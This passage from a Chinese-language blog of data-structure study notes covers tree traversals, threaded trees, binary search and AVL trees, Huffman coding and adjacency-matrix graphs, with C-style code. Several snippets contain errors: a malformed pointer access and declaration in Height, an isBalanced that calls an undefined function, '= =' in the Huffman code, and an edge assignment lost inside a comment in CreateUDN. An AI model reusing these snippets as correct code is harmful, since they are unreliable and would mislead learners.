function_">PreOrderTraverse</span><span class="params">(BiTree T)</span>&#123;</span><br><span class="line">  <span class="keyword">if</span>(T==<span class="literal">NULL</span>) <span class="keyword">return</span> OK; <span class="comment">//空二叉树</span></span><br><span class="line">  <span class="keyword">else</span>&#123;    </span><br><span class="line">     <span class="built_in">cout</span>&lt;&lt;T-&gt;data; <span class="comment">//访问根结点</span></span><br><span class="line">     PreOrderTraverse(T-&gt;lchild); <span class="comment">//递归遍历左子树</span></span><br><span class="line">     PreOrderTraverse(T-&gt;rchild); <span class="comment">//递归遍历右子树</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>中序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">InOrderTraverse</span><span class="params">(BiTree T)</span>&#123;</span><br><span class="line">  <span class="keyword">if</span>(T==<span class="literal">NULL</span>) <span class="keyword">return</span> OK; <span class="comment">//空二叉树</span></span><br><span class="line">  <span class="keyword">else</span>&#123;    </span><br><span class="line">     InOrderTraverse(T-&gt;lchild); <span class="comment">//递归遍历左子树</span></span><br><span class="line">  <span class="built_in">cout</span>&lt;&lt;T-&gt;data; <span class="comment">//访问根结点</span></span><br><span class="line">     InOrderTraverse(T-&gt;rchild); <span class="comment">//递归遍历右子树</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">PostOrderTraverse</span><span class="params">(BiTree T)</span>&#123;</span><br><span class="line">  <span class="keyword">if</span>(T==<span class="literal">NULL</span>) <span class="keyword">return</span> OK; <span class="comment">//空二叉树</span></span><br><span class="line">  <span class="keyword">else</span>&#123;    </span><br><span class="line">     PostOrderTraverse(T-&gt;lchild); <span class="comment">//递归遍历左子树</span></span><br><span class="line">     PostOrderTraverse(T-&gt;rchild); <span class="comment">//递归遍历右子树</span></span><br><span class="line">     <span class="built_in">cout</span>&lt;&lt;T-&gt;data; <span class="comment">//访问根结点</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="效率"><a href="#效率" class="headerlink" title="效率"></a>效率</h4><ul><li>时间效率:O(n) &#x2F;&#x2F;每个结点只访问一次</li><li>空间效率:O(n) &#x2F;&#x2F;栈占用的最大辅助空间</li></ul><h4 id="重要结论"><a href="#重要结论" class="headerlink" title="重要结论"></a>重要结论</h4><p>若二叉树中各结点的值均不相同，则：<br>由二叉树的前序序列+中序序列，或由其后序序列+中序序列均能唯一地确定一棵二叉树，<br>但由前序序列+后序序列却不一定能唯一地确定一棵二叉树。 </p><h4 id="应用"><a href="#应用" class="headerlink" title="应用"></a>应用</h4><p>计算结点总数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">NodeCount</span><span class="params">(BiTree T)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(T==<span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//如果是空树，则结点总数为0</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span> + NodeCount(T- &gt;lchild) + </span><br><span class="line">NodeCount(T-&gt;rchild);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>计算叶子结点总数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">LeafCount</span><span class="params">(BiTree T)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(T==<span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//如果是空树，则叶子结点个数为0</span></span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(T-&gt;lchild==<span class="literal">NULL</span>&amp;&amp;T-&gt;rchild==<span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>; <span class="comment">//判断该结点是否是叶子结点（左孩子</span></span><br><span class="line">右孩子都为空），若是则返回<span class="number">1</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"><span class="keyword">return</span> LeafCount(T-&gt;lchild) + </span><br><span class="line">LeafCount(T-&gt;rchild);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>计算树的高度</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">Height</span><span class="params">(BiTree T)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(T==<span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//如果是空树，则高度为0</span></span><br><span class="line"><span class="keyword">else</span> </span><br><span class="line">           &#123;</span><br><span class="line">                        <span class="type">int</span> hl = Height(T&gt;lchild), </span><br><span class="line">                        <span class="type">int</span> hr = Height(T-&gt;rchild);</span><br><span class="line"><span class="keyword">return</span> (hl ≥ hr) ? (<span class="number">1</span> + hl): (<span class="number">1</span> + hr);</span><br><span class="line">            &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>层次遍历算法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">LayeredTraverse</span><span class="params">(BiTree T)</span>&#123; </span><br><span class="line">    <span class="built_in">cout</span>&lt;&lt;T-&gt;data;               <span class="comment">//访问第v个顶点</span></span><br><span class="line">    InitQueue(Q); EnQueue(Q, T);            <span class="comment">//辅助队列Q初始化， T进队</span></span><br><span class="line">    <span class="keyword">while</span>(!QueueEmpty(Q))&#123;   <span class="comment">//队列非空 </span></span><br><span class="line">       DeQueue(Q, p);        <span class="comment">//队头元素出队并置为p </span></span><br><span class="line">       <span class="keyword">if</span>(p-&gt;lchild!=<span class="literal">NULL</span>)&#123;               <span class="comment">//p指向的结点有左孩子</span></span><br><span class="line">             <span class="built_in">cout</span>&lt;&lt;p-&gt;lchild-&gt;data; </span><br><span class="line">             EnQueue(Q, p-&gt;lchild); <span class="comment">//左孩子进队 </span></span><br><span class="line">        &#125;<span class="comment">//if </span></span><br><span class="line">       <span class="keyword">if</span>(p-&gt;rchild!=<span class="literal">NULL</span>)&#123;               <span class="comment">//p指向的结点有右孩子</span></span><br><span class="line">             <span class="built_in">cout</span>&lt;&lt;p-&gt;rchild-&gt;data; </span><br><span class="line">             EnQueue(Q, p-&gt;rchild); <span class="comment">//右孩子进队 </span></span><br><span class="line">        &#125;<span class="comment">//if </span></span><br><span class="line">    &#125;<span class="comment">//while </span></span><br><span class="line">&#125;<span class="comment">//LayeredTraverse</span></span><br></pre></td></tr></table></figure><h3 id="线索二叉树"><a href="#线索二叉树" class="headerlink" title="线索二叉树"></a>线索二叉树</h3><p>LTag  :若 LTag&#x3D;0, lchild域指向左孩子；      </p><pre><code>       若 LTag=1, lchild域指向其前驱。</code></pre><p>RTag  :若 RTag&#x3D;0, rchild域指向右孩子；       </p><pre><code>        若 RTag=1, rchild域指向其后继。 </code></pre><p>区分前驱后继分别为前序中序后序</p><blockquote><p>线索：指向结点前驱和后继的指针<br>线索链表：加上线索二叉链表<br>线索二叉树：加上线索的二叉树（图形式样）<br>线索化：对二叉树以某种次序遍历使其变为线索二叉树的过程</p></blockquote><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225222739478.png" alt="image-20231225222739478"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225222750296.png" alt="image-20231225222750296"></p><p>避免指针域悬空，让空域指向根结点</p><h3 id="树的存储结构"><a href="#树的存储结构" class="headerlink" title="树的存储结构"></a>树的存储结构</h3><h4 id="双亲表示法"><a href="#双亲表示法" class="headerlink" title="双亲表示法"></a>双亲表示法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225222910067.png" alt="image-20231225222910067"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">PTNode</span>&#123;</span></span><br><span class="line">    DataType data;</span><br><span class="line">    <span class="type">int</span> parent;</span><br><span class="line">&#125; PTNode;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">PTree</span>&#123;</span></span><br><span class="line">    PTNode     nodes[MAXSIZE];</span><br><span class="line">    <span class="type">int</span> r, n; <span class="comment">//根的位置和结点数</span></span><br><span class="line">&#125; PTree;</span><br></pre></td></tr></table></figure><h4 id="孩子表示法"><a href="#孩子表示法" class="headerlink" title="孩子表示法"></a>孩子表示法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225223040801.png" alt="image-20231225223040801"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">CTNode</span>&#123;</span></span><br><span class="line">    <span class="type">int</span> child;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">CTNode</span> *<span class="title">next</span>;</span></span><br><span class="line">&#125;CTNode;<span class="comment">//孩子节点</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">CTBox</span>&#123;</span></span><br><span class="line">    DataType data;</span><br><span class="line">   CTNode *firstchild;</span><br><span class="line">&#125;CTBox; <span class="comment">//表头节点</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">CTree</span>&#123;</span></span><br><span class="line">    CTBox nodes[MAXSIZE];</span><br><span class="line">    <span class="type">int</span> n,r;</span><br><span class="line">&#125; CTree; <span class="comment">//树</span></span><br></pre></td></tr></table></figure><h4 id="双亲孩子表示法"><a href="#双亲孩子表示法" class="headerlink" title="双亲孩子表示法"></a>双亲孩子表示法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225223216145.png" alt="image-20231225223216145"></p><h4 id="孩子兄弟表示法"><a href="#孩子兄弟表示法" class="headerlink" title="孩子兄弟表示法"></a>孩子兄弟表示法</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">CSNode</span>&#123;</span></span><br><span class="line">  ElemType          data;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">CSNode</span>     *<span class="title">firstchild</span>,*<span class="title">nextsibling</span>;</span></span><br><span class="line">&#125;CSNode,*CSTree;</span><br></pre></td></tr></table></figure><p>树的存储结构——孩子兄弟表示法<br>也称为二叉树表示法、二叉链表表示法</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225223711370.png" alt="image-20231225223711370"></p><h3 id="树和森林"><a href="#树和森林" class="headerlink" title="树和森林"></a>树和森林</h3><h4 id="树、森林和二叉树的相互转换"><a href="#树、森林和二叉树的相互转换" class="headerlink" title="树、森林和二叉树的相互转换"></a>树、森林和二叉树的相互转换</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224246469.png" alt="image-20231225224246469"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224314815.png" alt="image-20231225224314815"></p><h4 id="二叉树的应用"><a href="#二叉树的应用" class="headerlink" title="二叉树的应用"></a>二叉树的应用</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224353330.png" alt="image-20231225224353330"></p><h4 id="二叉排序树"><a href="#二叉排序树" class="headerlink" title="二叉排序树"></a>二叉排序树</h4><p>二叉排序树或是空树，或是满足如下性质的二叉树：</p><ol><li>若其左子树非空，则左子树上所有结点的值均小于根结点的值；</li><li>若其右子树非空，则右子树上所有结点的值均大于等于根结点的值；</li><li>其左右子树本身又各是一棵二叉排序树</li></ol><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224538259.png" alt="image-20231225224538259"></p><h4 id="二叉排序树的查找"><a href="#二叉排序树的查找" class="headerlink" title="二叉排序树的查找"></a>二叉排序树的查找</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">BSTree <span class="title function_">SearchBST</span><span class="params">(BSTree T, KeyType key)</span> &#123;</span><br><span class="line">   <span class="keyword">if</span>((!T) || key==T-&gt;data.key) <span class="keyword">return</span> T;        </span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">if</span> (key&lt;T-&gt;data.key)  <span class="keyword">return</span> SearchBST(T-&gt;lchild,key);<span class="comment">//在左子树中继续查找</span></span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">return</span> SearchBST(T-&gt;rchild,key);       <span class="comment">//在右子树中继续查找</span></span><br><span class="line">&#125; <span class="comment">// SearchBST</span></span><br></pre></td></tr></table></figure><p>平均查找长度和二叉树的形态有关，即，<br>最好：$\log_2n$（形态匀称，与二分查找的判定树相似）<br>最坏:  $(n+1)&#x2F;2$（单支树）</p><p>二叉排序树的生成就不讲了，主要讲讲删除</p><h4 id="二叉排序树的删除"><a href="#二叉排序树的删除" class="headerlink" title="二叉排序树的删除"></a>二叉排序树的删除</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224741963.png" alt="image-20231225224741963"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224845438.png" alt="image-20231225224845438"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225224905773.png" alt="image-20231225224905773"></p><h3 id="平衡二叉树"><a href="#平衡二叉树" class="headerlink" title="平衡二叉树"></a>平衡二叉树</h3><p>根结点的左、右子树深度之差的绝对值≤ 1<br>左、右子树是平衡二叉树；</p><p>平衡因子:该结点左子树与右子树的高度差</p><p>对于一棵有n个结点的AVL树，其高度保持在$O(\log_2n)$数量级，ASL也保持在$O(\log_2n)$量级。</p><h4 id="结点插入的平衡调整"><a href="#结点插入的平衡调整" class="headerlink" title="结点插入的平衡调整"></a>结点插入的平衡调整</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225708929.png" alt="image-20231225225708929"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225718278.png" alt="image-20231225225718278"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225728519.png" alt="image-20231225225728519"></p><h4 id="结点删除的平衡调整"><a href="#结点删除的平衡调整" class="headerlink" title="结点删除的平衡调整"></a>结点删除的平衡调整</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225755813.png" alt="image-20231225225755813"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225821608.png" alt="image-20231225225821608"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225927087.png" alt="image-20231225225927087"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225225939585.png" alt="image-20231225225939585"></p><p>练习</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225230431930.png" alt="image-20231225230431930"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225230454824.png" alt="image-20231225230454824"></p><h4 id="判断平衡二叉树"><a href="#判断平衡二叉树" class="headerlink" title="判断平衡二叉树"></a>判断平衡二叉树</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">BiNode</span>&#123;</span></span><br><span class="line">   TElemType   data;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span>  <span class="title">BiNode</span>   *<span class="title">lchild</span>,*<span class="title">rchild</span>;</span> <span class="comment">//左右孩子指针</span></span><br><span class="line">&#125;BiNode,*BiTree; </span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> <span class="title function_">isBalanced</span><span class="params">(BiTree T)</span> </span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> <span class="title function_">isBalanced</span><span class="params">(BiTree T)</span> </span><br><span class="line">&#123; <span class="keyword">return</span> height(T) &gt;= <span class="number">0</span>; &#125; </span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">dfs</span><span class="params">(TreeNode* root)</span> &#123; </span><br><span class="line">      <span class="keyword">if</span> (T == null) </span><br><span class="line">               &#123; <span class="keyword">return</span> <span class="number">0</span>; &#125; <span class="comment">// 记录左子树的高度</span></span><br><span class="line">      <span class="type">int</span> left_height = dfs(T-&gt;lchild); <span class="comment">// 记录右子树的高度</span></span><br><span class="line">      <span class="type">int</span> right_height = dfs(T-&gt;rchild); </span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">abs</span>(left_height - right_height) &gt; <span class="number">1</span> || left_height == <span class="number">-1</span> || right_height == <span class="number">-1</span>) &#123; <span class="keyword">return</span> <span class="number">-1</span>; &#125; </span><br><span class="line">     <span class="keyword">return</span> <span class="number">1</span> + max(left_height, right_height); &#125; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="霍夫曼树"><a href="#霍夫曼树" class="headerlink" title="霍夫曼树"></a>霍夫曼树</h4><p>关键：要设计长度不等的编码，则必须使任一字符的编码都不是另一个字符的编码的前缀－前缀编码</p><p>一棵有n个叶子结点的Huffman树有 $2n-1$个结点</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225231001008.png" alt="image-20231225231001008"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">typedef  struct</span><br><span class="line">&#123;  int weight;</span><br><span class="line">   int parent,lch,rch;</span><br><span class="line">&#125; HuffmanNode, *HuffmanTree;</span><br><span class="line"></span><br><span class="line">算法</span><br><span class="line">void CreatHuffmanTree (HuffmanTree HT,int n)&#123;</span><br><span class="line">if(n&lt;=1)return;</span><br><span class="line">m=2*n-1;</span><br><span class="line">HT=new HTNode[m+1];//0号单元未用，HT[m]表示根结点   </span><br><span class="line">for(i=1;i&lt;=m;++i)</span><br><span class="line">  &#123;HT[i].lch=0;HT[i].rch=0;HT[i].parent=0;&#125;</span><br><span class="line">for(i=1;i&lt;=n;++i)cin&gt;&gt;HT[i].weight; </span><br><span class="line">for( i=n+1;i&lt;=m;++i)       //构造  Huffman树</span><br><span class="line"> &#123; Select(HT, i-1, &amp;s1, &amp;s2);　</span><br><span class="line">      //在HT[k](1≤k≤i-1)中选择两个其双亲域为0,</span><br><span class="line">      // 且权值最小的结点,</span><br><span class="line">      // 并返回它们在HT中的序号s1和s2</span><br><span class="line">   HT[s1].parent=i;   HT[s2] .parent=i;  </span><br><span class="line">     //表示从F中删除s1,s2</span><br><span class="line">   HT[i].lch=s1;    HT[i].rch=s2 ; </span><br><span class="line">     //s1,s2分别作为i的左右孩子</span><br><span class="line">   HT[i].weight=HT[s1].weight + HT[s2].weight;</span><br><span class="line">     //i 的权值为左右孩子权值之和</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>生成霍夫曼编码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">CreatHuffmanCode</span><span class="params">(HuffmanTree HT, HuffmanCode &amp;HC, <span class="type">int</span> n)</span>&#123;</span><br><span class="line"><span class="comment">//从叶子到根逆向求每个字符的赫夫曼编码，存储在编码表HC中</span></span><br><span class="line">HC=new <span class="type">char</span> *[n+<span class="number">1</span>];         <span class="comment">//分配n个字符编码的头指针矢量</span></span><br><span class="line">cd=new <span class="type">char</span> [n];<span class="comment">//分配临时存放编码的动态数组空间</span></span><br><span class="line">cd[n<span class="number">-1</span>]=’\<span class="number">0</span>’; <span class="comment">//编码结束符</span></span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">1</span>; i&lt;=n; ++i)&#123;<span class="comment">//逐个字符求赫夫曼编码</span></span><br><span class="line">    start=n<span class="number">-1</span>; c=i; f=HT[i].parent;                 </span><br><span class="line">    <span class="keyword">while</span>(f!=<span class="number">0</span>)&#123;<span class="comment">//从叶子结点开始向上回溯，直到根结点</span></span><br><span class="line">         --start;                          <span class="comment">//回溯一次start向前指一个位置</span></span><br><span class="line">         <span class="keyword">if</span> (HT[f].lchild= =c)  cd[start]=’<span class="number">0</span>’;<span class="comment">//结点c是f的左孩子，则生成代码0</span></span><br><span class="line">         <span class="keyword">else</span> cd[start]=’<span class="number">1</span>’;               <span class="comment">//结点c是f的右孩子，则生成代码1</span></span><br><span class="line">         c=f; f=HT[f].parent;             <span class="comment">//继续向上回溯</span></span><br><span class="line">    &#125;                                  <span class="comment">//求出第i个字符的编码      </span></span><br><span class="line">    HC[i]= new <span class="type">char</span> [n-start];         <span class="comment">// 为第i 个字符编码分配空间</span></span><br><span class="line">    <span class="built_in">strcpy</span>(HC[i], &amp;cd[start])；    <span class="comment">//将求得的编码从临时空间cd复制到HC的当前行中</span></span><br><span class="line">  &#125;</span><br><span class="line">  delete cd;                            <span class="comment">//释放临时空间</span></span><br><span class="line">&#125; <span class="comment">// CreatHuffanCode</span></span><br></pre></td></tr></table></figure><h2 id="图与贪心算法"><a href="#图与贪心算法" class="headerlink" title="图与贪心算法"></a>图与贪心算法</h2><h3 id="矩阵表示"><a href="#矩阵表示" class="headerlink" title="矩阵表示"></a>矩阵表示</h3><h4 id="邻接矩阵表示"><a href="#邻接矩阵表示" class="headerlink" title="邻接矩阵表示"></a>邻接矩阵表示</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">//用两个数组分别存储顶点表和邻接矩阵</span><br><span class="line">#define MaxInt 32767                    //表示极大值，即∞</span><br><span class="line">#define MVNum 100                       //最大顶点数 </span><br><span class="line">typedef char VerTexType;              //假设顶点的数据类型为字符型 </span><br><span class="line">typedef int ArcType;                  //假设边的权值类型为整型 </span><br><span class="line">typedef struct&#123; </span><br><span class="line">  VerTexType vexs[MVNum];            //顶点表 </span><br><span class="line">  ArcType arcs[MVNum][MVNum];      //邻接矩阵 </span><br><span class="line">  int vexnum,arcnum;                //图的当前点数和边数 </span><br><span class="line">&#125;AMGraph; </span><br></pre></td></tr></table></figure><h4 id="用邻接矩阵创建无向网络"><a href="#用邻接矩阵创建无向网络" class="headerlink" title="用邻接矩阵创建无向网络"></a>用邻接矩阵创建无向网络</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">CreateUDN</span><span class="params">(AMGraph &amp;G)</span>&#123; </span><br><span class="line">    <span class="comment">//采用邻接矩阵表示法，创建无向网络G </span></span><br><span class="line">    <span class="built_in">cin</span>&gt;&gt;G.vexnum&gt;&gt;G.arcnum; <span class="comment">//输入总顶点数，总边数 </span></span><br><span class="line">    <span class="keyword">for</span>(i = <span class="number">0</span>; i&lt;G.vexnum; ++i)    </span><br><span class="line">      <span class="built_in">cin</span>&gt;&gt;G.vexs[i];                        <span class="comment">//依次输入点的信息 </span></span><br><span class="line">    <span class="keyword">for</span>(i = <span class="number">0</span>; i&lt;G.vexnum;++i) <span class="comment">//初始化邻接矩阵，边的权值均置为极大值                 </span></span><br><span class="line">     <span class="keyword">for</span>(j = <span class="number">0</span>; j&lt;G.vexnum;++j)   </span><br><span class="line">      G.arcs[i][j] = MaxInt;   </span><br><span class="line">    <span class="keyword">for</span>(k = <span class="number">0</span>; k&lt;G.arcnum;++k)&#123;                     <span class="comment">//构造邻接矩阵 </span></span><br><span class="line">      <span class="built_in">cin</span>&gt;&gt;v1&gt;&gt;v2&gt;&gt;w;                                 <span class="comment">//输入一条边依附的顶点及权值 </span></span><br><span class="line">      i = LocateVex(G, v1);  j = LocateVex(G, v2);  <span class="comment">//确定v1和v2在G中的位置                    G.arcs[i][j] = w; //边&lt;v1, v2&gt;的权值置为w </span></span><br><span class="line">      G.arcs[j][i] = G.arcs[i][j];              <span class="comment">//置&lt;v1, v2&gt;的对称边&lt;v2, v1&gt;的权值为w </span></span><br><span class="line">   &#125;<span class="comment">//for </span></span><br><span class="line">   <span class="keyword">return</span> OK; </span><br><span class="line">&#125;<span class="comment">//CreateUDN </span></span><br><span class="line"> <span class="type">int</span> <span class="title function_">LocateVex</span><span class="params">(MGraph G,VertexType u)</span></span><br><span class="line"> &#123; <span class="comment">/* 初始条件:图G存在,u和G中顶点有相同特征 */</span></span><br><span class="line">   <span class="comment">/* 操作结果:若G中存在顶点u,则返回该顶点在图中位置;否则返回-1 */</span></span><br><span class="line">   <span class="type">int</span> i;</span><br><span class="line">   <span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;G.vexnum;++i)</span><br><span class="line">     <span class="keyword">if</span>(u==G.vexs[i])</span><br><span class="line">       <span class="keyword">return</span> i;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><h4 id="邻接表表示"><a href="#邻接表表示" class="headerlink" title="邻接表表示"></a>邻接表表示</h4><p>空间效率为O(n+2e)。<br>若是稀疏图(e&lt;&lt;n2)，比邻接矩阵表示法O(n2)省空间</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 